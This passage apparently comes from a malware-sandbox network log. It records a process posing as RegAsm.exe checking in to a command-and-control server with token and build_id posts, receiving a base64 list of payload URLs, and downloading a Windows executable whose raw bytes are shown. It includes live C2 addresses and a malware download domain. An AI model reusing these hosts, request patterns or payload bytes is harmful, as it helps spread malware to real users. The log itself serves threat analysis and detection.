EL/OkpevpmkJ/WkMDxzSA8+ooo5xTGIfrRxRjFH8qBid6TjFL2/nScUgDoM0dScde9A60HtTGIetKOuKT/PSigZ6E1Vp/uN9KstVaf7jfSuep8LPlqPxo+gU/wBWv0FOpqf6tfoKdXxJ+oBRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFAB
2024-09-18 12:31:19 UTC	15069	OUT	Data Raw: 47 52 79 4f 44 32 71 33 2f 41 47 64 62 2f 77 44 54 62 2f 76 2b 2f 77 44 6a 52 2f 5a 31 76 2f 30 32 2f 77 43 2f 37 2f 34 30 42 73 59 55 50 68 66 53 49 49 4a 49 68 42 4c 49 4a 47 6a 5a 6e 6e 75 5a 5a 58 50 6c 73 47 51 62 33 59 74 74 44 44 49 58 4f 4f 76 48 4a 71 53 62 77 39 70 6c 78 71 66 39 6f 53 57 37 6d 34 33 4b 37 41 54 4f 49 33 5a 66 75 73 30 59 4f 78 6d 47 42 67 6b 45 6a 41 39 42 57 7a 2f 5a 31 76 38 41 39 4e 76 2b 2f 77 43 2f 2b 4e 48 39 6e 57 2f 2f 41 45 32 2f 37 2f 76 2f 41 49 30 58 41 78 70 66 44 75 6b 7a 47 36 4d 6c 6d 70 2b 31 54 70 63 54 66 4d 77 33 75 75 4d 48 72 78 30 36 44 67 35 4f 63 35 4f 58 53 61 44 70 30 39 39 4e 64 7a 78 53 7a 79 53 78 74 47 79 54 33 45 6b 6b 51 56 68 68 67 49 32 59 6f 75 51 4d 48 41 48 66 31 4e 61 2f 39 6e 57 2f 2f 54 Data Ascii: GRyOD2q3/AGdb/wDTb/v+/wDjR/Z1v/02/wC/7/40BsYUPhfSIIJIhBLIJGjZnnuZZXPlsGQb3YttDDIXOOvHJqSbw9plxqf9oSW7m43K7ATOI3Zfus0YOxmGBgkEjA9BWz/Z1v8A9Nv+/wC/+NH9nW//AE2/7/v/AI0XAxpfDukzG6Mlmp+1TpcTfMw3uuMHrx06Dg5Oc5OXSaDp099NdzxSzySxtGyT3EkkQVhhgI2YouQMHAHf1Na/9nW//T
2024-09-18 12:31:20 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:31:20 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49800	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:21 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKKFBGDHJKFHJJJJDGC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:21 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 30 36 35 34 61 39 35 32 66 35 63 35 33 30 34 32 37 66 30 64 66 36 63 62 33 63 31 36 31 31 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 0d 0a 43 6f 6e 74 Data Ascii: ------AKKKFBGDHJKFHJJJJDGCContent-Disposition: form-data; name="token"780654a952f5c530427f0df6cb3c1611------AKKKFBGDHJKFHJJJJDGCContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------AKKKFBGDHJKFHJJJJDGCCont
2024-09-18 12:31:22 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:31:22 UTC	163	IN	Data Raw: 39 38 0d 0a 4d 54 45 7a 4f 54 49 33 4f 58 78 6f 64 48 52 77 63 7a 6f 76 4c 32 6c 75 62 6d 39 32 59 58 68 70 62 6d 64 6c 62 6d 6c 6c 63 6d 39 7a 4c 6d 4e 76 62 53 39 73 62 6d 5a 7a 5a 47 45 75 5a 58 68 6c 66 44 46 38 61 32 74 72 61 33 77 78 4d 54 4d 35 4d 6a 67 77 66 47 68 30 64 48 42 7a 4f 69 38 76 61 57 35 75 62 33 5a 68 65 47 6c 75 5a 32 56 75 61 57 56 79 62 33 4d 75 59 32 39 74 4c 33 5a 73 63 32 46 6b 5a 79 35 6c 65 47 56 38 4d 58 78 72 61 32 74 72 66 41 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 98MTEzOTI3OXxodHRwczovL2lubm92YXhpbmdlbmllcm9zLmNvbS9sbmZzZGEuZXhlfDF8a2tra3wxMTM5MjgwfGh0dHBzOi8vaW5ub3ZheGluZ2VuaWVyb3MuY29tL3Zsc2FkZy5leGV8MXxra2trfA==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49801	167.114.163.236	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:23 UTC	227	OUT	GET /lnfsda.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: innovaxingenieros.com Cache-Control: no-cache
2024-09-18 12:31:23 UTC	223	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:31:23 GMT Server: Apache Last-Modified: Wed, 18 Sep 2024 06:33:57 GMT Accept-Ranges: bytes Content-Length: 360864 Connection: close Content-Type: application/x-msdownload
2024-09-18 12:31:23 UTC	7969	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 22 73 ea 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 28 05 00 00 08 00 00 00 00 00 00 6e 46 05 00 00 20 00 00 00 60 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL"sf(nF `@ `
2024-09-18 12:31:23 UTC	8000	IN	Data Raw: 0d 79 4f 7d 03 67 25 2e 2a 7a ad ce c1 87 24 46 ad be df 38 82 4f d3 26 e9 f6 a3 13 52 c2 f1 95 43 89 b2 a7 6b 55 eb 9a d0 32 a9 58 43 a0 12 d5 08 5e 50 ff ee 25 c8 d3 b8 8d 48 ff 54 50 d5 d0 62 05 e1 1c d4 37 b0 52 0c 8a 11 cb fd eb 6c a1 d2 75 7a ed 76 70 a4 03 d7 46 b9 62 81 d8 a0 e1 3b 81 31 43 b2 8f 4f 28 7d a4 9b d6 a5 ac 36 e6 2b 2a 2f 93 fe ee 0c a2 3d 31 3c 60 94 29 cd 23 1b bf fd 57 88 a1 76 fb a3 fb eb ae 99 85 59 39 5a ce 4a 0d 7b 71 25 84 7d 23 56 bd 2a 7c f5 72 07 96 a6 67 3e ff a6 54 b1 9f 52 f5 c5 44 e1 f4 aa 99 8d aa aa 49 07 18 50 d9 26 ca 05 3a ed 81 b8 10 b8 6d 3c 57 3c 75 73 c3 e1 fa 8d 62 34 37 b0 c7 c2 65 93 b7 dc b2 f6 f0 11 79 a5 e7 16 01 f9 c3 31 b8 f2 ae 96 90 6f b5 d2 24 38 3c dc 82 6b 8f 01 2d e5 ac 0f 7a 2d 9c d1 2a a1 a1 f1 Data Ascii: yO}g%.z$F8O&RCkU2XC^P%HTPb7RluzvpFb;1CO(}6+/=1<`)#WvY9ZJ{q%}#V\|rg>TRDIP&:m<W<usb47ey1o$8<k-z-
2024-09-18 12:31:24 UTC	8000	IN	Data Raw: 26 57 0b b5 9e 8c c4 04 93 f9 a9 8b 4b 50 ac 47 83 e0 a3 97 88 58 87 7b 45 bc b5 45 00 ed cf 1d dd 32 bf 0b 27 9b fe 14 f2 97 48 61 e9 4d ba 46 64 c7 ed 74 bc 5a 5b ab b1 84 ba c1 df fd f2 c2 48 37 be d2 fc ab fc 63 3f 56 a9 52 e3 70 d1 45 21 6f 6c f3 fe 16 93 d5 45 8f 9e 38 58 fd f4 dc da 81 0f 99 99 a6 00 ed fe b5 b2 71 8b 55 b8 0c 14 26 6d 50 62 ad cf d4 e2 85 2a 04 be 24 5b 43 d9 e5 ed 94 c2 42 fa 51 fb 93 67 8f 36 75 7a f3 9c ff 48 df fb b8 fc d0 89 81 1a f1 23 8f 2b 43 d5 b5 d1 83 9b b6 ef 7d 30 ce 2c 4a ff 0e 80 03 3a 4d 62 41 32 00 ec 6c 2c c1 0e aa 70 f5 dc fb 2e 7a 5b f5 13 42 ef 15 cc ba 3c ac a3 72 7f c3 80 73 22 f6 10 f9 3f 18 54 f0 50 f1 40 f2 9f 77 42 21 52 8c 55 eb 94 83 2e 0d 32 ee c5 a2 ef 08 e0 62 f1 7c 42 f4 ea 81 03 47 81 e0 84 f4 56 Data Ascii: &WKPGX{EE2'HaMFdtZ[H7c?VRpE!olE8XqU&mPb*$[CBQg6uzH#+C}0,J:MbA2l,p.z[B<rs"?TP@wB!RU.2b\|BGV
2024-09-18 12:31:24 UTC	8000	IN	Data Raw: 83 34 a1 e2 98 3c 85 7f 31 c6 ee 92 39 3c 98 63 67 4e 3e 83 86 bd f6 35 93 ad 9d b0 37 91 29 85 20 dc 39 bc 5a 6d d4 c6 a1 c4 5a c5 d0 fb b8 1e 13 42 53 7f 3f 39 21 59 77 20 fc 70 26 b6 d2 9e 9f 43 6d 7a 45 3f 4e a0 f8 52 fa b6 fa e3 74 e5 60 a7 27 ba d3 b6 8e da 33 30 95 5d 9c aa df de 58 91 1b 80 93 e0 20 16 f2 46 46 ce b5 8e 1a 4c f5 f1 1a f9 e7 5a 23 98 99 6b 21 f0 16 56 23 c4 b0 fd 22 2b 37 02 c2 b5 5f 1e 20 b2 7e 5c c0 6d 63 fe e0 12 d8 82 ea 4c 5e 29 2c f6 98 b4 e5 89 ad 19 b1 51 f9 58 d8 8e fb 85 88 83 66 0c 43 21 1e 12 20 c9 81 94 56 b2 b5 fe f3 a9 9c 1e 98 47 32 98 ab dc 84 fa eb 21 21 86 05 bc 23 8f cc a4 79 07 df ed e2 3e 6d ad 1f 26 5c 24 fe 96 04 5f 04 60 b0 86 b1 e8 a5 1e 37 4a a3 ce c6 80 78 63 41 66 b8 24 78 16 a1 8c 47 01 43 b9 c3 23 20 Data Ascii: 4<19<cgN>57) 9ZmZBS?9!Yw p&CmzE?NRt`'30]X FFLZ#k!V#"+7_ ~\mcL^),QXfC! VG2!!#y>m&\$_`7JxcAf$xGC#
2024-09-18 12:31:24 UTC	8000	IN	Data Raw: 24 b1 52 c0 6a 2b a6 e8 f3 39 9e 48 4e d6 33 2a 93 13 84 c6 62 fe f8 4c 4d 22 7d af 5a eb 81 13 03 ed c2 53 2f fe 40 07 f6 6f d6 ca 98 c0 be 96 61 c1 9b 54 1d d2 b2 06 38 ee e3 98 09 af 04 57 77 a7 25 9b 50 5a f9 33 71 65 8c 4e 1c 5d b9 ee 77 da 84 c2 7f 19 73 83 9f 0e 71 8b 7e 9f 0d 13 7a 88 ca ae 04 5f f6 56 1a 06 57 a2 a1 b8 82 d5 82 39 aa a0 45 e0 a3 61 14 64 8a 06 d1 69 95 ef a1 27 cf 76 82 a1 22 37 3b 7f d5 92 92 a2 8b e3 e1 6b 08 ed c5 a7 56 95 0b 8d 44 ba f2 aa 6c e6 32 1e 92 c2 48 a7 a5 12 22 9a d3 20 7d ac fb 03 a7 eb 91 f4 38 03 18 3a 65 5e 30 bd c2 5c 8a b1 ff 1f d3 dc 6c f6 ed a5 e2 bf 3a c1 41 d1 55 bc 9f 6c 7a f5 d7 7e 87 ba b5 01 e7 d0 e4 58 77 cc c5 ff e6 32 71 15 2a fa 03 1a 05 2a 10 dc ea cb e5 ef fc e7 94 85 7a 05 44 c2 aa 1a 3a 91 9b Data Ascii: $Rj+9HN3bLM"}ZS/@oaT8Ww%PZ3qeN]wsq~z_VW9Eadi'v"7;kVDl2H" }8:e^0\l:AUlz~Xw2q*zD:
2024-09-18 12:31:24 UTC	8000	IN	Data Raw: cd 83 d6 8b fd 66 49 88 7d 29 bb 26 95 15 60 cc cb c5 aa 02 77 a3 09 4c 4e 9c a4 39 5e f4 ae 7b e0 6a b8 86 bd 67 0e 70 87 54 50 e0 41 db c0 f6 ef a4 f2 bc 5d 5a cc 28 44 b9 b6 fc bd 03 4f a0 7d d2 7f a0 72 6d 21 51 81 23 f3 f7 c5 de 6e d7 5f 74 3a 8e c6 0d 8a b3 bb 27 0f c1 aa fe be 4d d5 e4 7a c4 fc 9c db 75 b8 4e 98 61 24 cf f4 37 dc a5 46 76 20 a0 37 36 5e d2 2c 11 b0 9e 6c 24 59 d4 cd 8c 24 66 16 91 cd 90 1b b5 89 33 fd 5c b0 61 0d fc 22 07 66 5a b5 f6 98 a0 be 3c cd 89 25 01 cb 02 26 37 a3 a3 d6 71 7a 58 a2 4b 7e 18 6c cf 27 2d 7f 2d fa 56 35 38 3f b7 2e e2 10 f7 cd ac 50 c2 6f 5f 70 01 2d fe 47 bb 1e ab 19 af 5f 2e 62 db d0 fc a8 91 df 9d ba ef 39 4f de 68 d2 8d d1 c0 9a 0f 6c 5a 33 79 dc f3 3c e7 f5 1e 49 c1 65 1f 6f 7d dc ab ac cb ed 42 d6 88 02 Data Ascii: fI})&`wLN9^{jgpTPA]Z(DO}rm!Q#n_t:'MzuNa$7Fv 76^,l$Y$f3\a"fZ<%&7qzXK~l'--V58?.Po_p-G_.b9OhlZ3y<Ieo}B
2024-09-18 12:31:24 UTC	8000	IN	Data Raw: 23 0a 93 43 2c 07 02 87 78 7c a6 ca ca 50 2e 9f e0 50 12 07 55 e7 2a 01 53 aa c5 d5 bd 30 62 61 55 8d 5d da e1 b6 f7 4d 7d 77 cc 04 85 75 a3 93 da 22 26 0d 47 91 6b 35 de 80 b4 ee c5 8f 2d af c7 c3 08 ab 1f bc ca bf 08 b9 9a 46 a4 b5 f1 14 14 72 de fb 59 1e 11 c7 a5 ca 54 ab bd d7 4d d9 e2 2d e7 d9 5f f2 ab ce c0 03 56 69 4c 11 02 8c 28 4a 8c 1a 03 6e 4b c6 18 a2 d0 0d b4 0a e6 5d 55 0f b1 5a bc 26 81 ff 65 77 9e 4f c3 f4 33 22 40 43 d0 18 9b 05 c6 9c 37 d6 01 c1 83 ce 3e 91 97 8e fc 3c 13 ad c8 28 74 a9 5c a5 9c 05 0f 62 7d 72 bc f4 1c ea 95 36 d7 7c f1 e8 dc 77 b1 35 f9 d5 5c ef 03 b1 27 df f2 fa a5 ad 3d eb 14 77 4e a5 7f 42 cc 83 91 a8 03 34 c7 48 ad 27 6f 70 29 84 a3 51 73 6b c6 9a 04 4d a3 65 0c 05 8e 3c f1 8f 90 b3 23 ba 9c c3 89 a4 71 6c 91 4f 84 Data Ascii: #C,x\|P.PU*S0baU]M}wu"&Gk5-FrYTM-_ViL(JnK]UZ&ewO3"@C7><(t\b}r6\|w5\'=wNB4H'op)QskMe<#qlO
2024-09-18 12:31:24 UTC	8000	IN	Data Raw: ba e3 ad 03 96 41 d8 39 4c 94 47 18 7d 69 ce 66 4a 4b 50 e4 6f aa 6f 76 c4 05 a4 f0 77 97 38 7a f9 10 1d 81 4c 0e fc b8 1d 83 54 53 62 f3 14 d6 48 10 e8 77 43 9f 70 4b 38 7c 47 2d 78 56 38 20 27 a7 cf 03 4a dc ee af 7e 9e 58 c9 b3 69 75 a0 c7 12 04 6e 38 06 20 99 e3 6c 6f b4 26 02 74 d1 6b e4 4c b6 b8 85 56 03 a3 a1 b4 e8 ee fe bd 41 07 fd c0 af f1 85 17 90 7e 3c 63 12 3c 14 10 3d 58 44 f3 b6 44 da 84 d9 ff 46 21 7c 49 c4 32 30 b5 19 16 90 4f 9b 42 91 2c ee 60 9a 92 93 bb 6d 70 f8 03 14 ea 94 ec b5 37 24 4f 53 95 84 40 02 cb 84 45 d4 9b 8f e8 a9 80 b4 72 40 5b 21 b2 b3 da 0e 19 4d 24 90 12 b1 57 67 5a 8a a1 57 f4 9a 5f a3 0e fc df 45 98 59 c4 dd 4d cd 8d de 68 a2 e3 11 6a 0a df 35 0f 47 d8 ce 7c 3d 2e 8b ff 7a c9 a0 07 a3 77 12 d5 6b c3 2a 67 68 d4 8f 9a Data Ascii: A9LG}ifJKPoovw8zLTSbHwCpK8\|G-xV8 'J~Xiun8 lo&tkLVA~<c<=XDDF!\|I20OB,`mp7$OS@Er@[!M$WgZW_EYMhj5G\|=.zwk*gh
2024-09-18 12:31:24 UTC	8000	IN	Data Raw: 63 67 12 43 46 93 cc 76 5d 41 05 c9 40 f5 e3 d7 5b 08 ca a5 58 f8 a5 9d 72 15 67 71 db d3 81 53 f7 6e 02 9e 32 0c ce f3 e1 60 ee 83 73 53 9b f6 37 d5 55 c1 10 a7 ec c5 ab 8c aa 30 54 67 98 9f 4d 88 19 e7 96 38 b0 01 7c bd 9f 63 db d1 37 ec 3d 21 e5 c1 30 ec 0b 77 54 81 ca 35 93 b1 09 8f 94 e2 6b e2 d1 3a 35 92 e0 e2 88 41 82 a7 d9 c0 c0 1c e6 10 61 2f dd 39 94 03 50 f8 8c 43 17 6e 45 1d ba ca f1 8b c7 8e b9 c0 8d 2f 39 d3 a4 eb b4 f6 5e c5 8c a5 b6 b1 9f 86 ec 9d e6 1c 6e 59 cb 36 e1 78 6e dc 0f 19 00 ba f1 63 07 e7 ae d3 8d 93 e7 c1 59 f0 b4 72 1e 38 a0 9a c4 c1 e6 24 35 38 8b 50 e1 90 91 61 ab f1 18 9e 76 bf 33 21 ec 33 9c fe 90 99 87 87 33 61 21 95 d5 52 7a 0e b2 66 f8 3b 3e 76 c2 e8 da f5 47 66 84 12 99 0a 6b 83 cc 46 56 27 f8 ce 36 8f 51 87 58 fe 5b Data Ascii: cgCFv]A@[XrgqSn2`sS7U0TgM8\|c7=!0wT5k:5Aa/9PCnE/9^nY6xncYr8$58Pav3!33a!Rzf;>vGfkFV'6QX[
2024-09-18 12:31:24 UTC	8000	IN	Data Raw: 60 c9 fb 78 e1 1e 6e 2a 43 b8 08 d5 64 cd 47 1d 1d f6 ad 75 7a ee f6 f7 e3 3c e5 af d2 0e e7 fe b4 e0 56 7f 6c 5b c1 75 63 19 d8 d9 eb 81 68 4b 12 27 02 51 48 b7 0b aa 5d 2c 80 cb 8f 0b de cb 2d 34 74 a4 a8 6a 87 81 20 dc a2 f6 16 68 46 fc 81 e1 f6 7e ce 49 69 d3 7c ec 6b 17 66 d6 e7 20 ae b4 0b 38 99 1a f2 11 b4 45 1a dd 6f 2d da 3c c4 26 46 38 cb f8 50 88 1b fa 47 93 6d 9f 3c 09 aa 77 b9 73 33 c3 88 87 1e d8 e6 22 8c e6 f4 5c e8 9b 7a 74 34 dd c6 0a 0e 5b 89 a0 45 d5 db f3 67 23 67 3a 77 4b e2 1d 15 79 68 a0 88 54 45 af 5d 80 1f f6 1e ba ad 47 12 68 a8 35 da 65 c3 9b c8 92 90 6e 90 db 04 69 11 fc 10 8f 22 94 21 50 dc d1 18 5d 8d 78 46 67 61 63 57 56 81 27 d2 ec f7 8b d2 c9 06 2e 84 4e 69 f8 3b 6a 05 e5 14 5b 6a bc f1 e0 b1 04 55 b1 a1 e2 ae 72 d5 63 7d Data Ascii: `xn*CdGuz<Vl[uchK'QH],-4tj hF~Ii\|kf 8Eo-<&F8PGm<ws3"\zt4[Eg#g:wKyhTE]Gh5eni"!P]xFgacWV'.Ni;j[jUrc}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49802	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:26 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:26 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 30 36 35 34 61 39 35 32 66 35 63 35 33 30 34 32 37 66 30 64 66 36 63 62 33 63 31 36 31 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 Data Ascii: ------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="token"780654a952f5c530427f0df6cb3c1611------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------DHIDHIEGIIIECAKEBFBACont
2024-09-18 12:31:27 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:31:27 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49803	167.114.163.236	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:29 UTC	277	OUT	GET /vlsadg.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: innovaxingenieros.com If-Modified-Since: Wed, 18 Sep 2024 06:33:51 GMT Cache-Control: no-cache
2024-09-18 12:31:29 UTC	169	IN	HTTP/1.1 304 Not Modified Date: Wed, 18 Sep 2024 12:31:29 GMT Server: Apache Last-Modified: Wed, 18 Sep 2024 06:33:51 GMT Accept-Ranges: bytes Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49805	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:30 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIEHJDBKJKECBFHDGHJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:30 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 30 36 35 34 61 39 35 32 66 35 63 35 33 30 34 32 37 66 30 64 66 36 63 62 33 63 31 36 31 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 Data Ascii: ------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="token"780654a952f5c530427f0df6cb3c1611------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------FIIEHJDBKJKECBFHDGHJCont
2024-09-18 12:31:31 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:31:31 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49810	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:33 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCGDGIDGIJKKEBGDAECA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:33 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 30 36 35 34 61 39 35 32 66 35 63 35 33 30 34 32 37 66 30 64 66 36 63 62 33 63 31 36 31 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 Data Ascii: ------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="token"780654a952f5c530427f0df6cb3c1611------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------HCGDGIDGIJKKEBGDAECACont
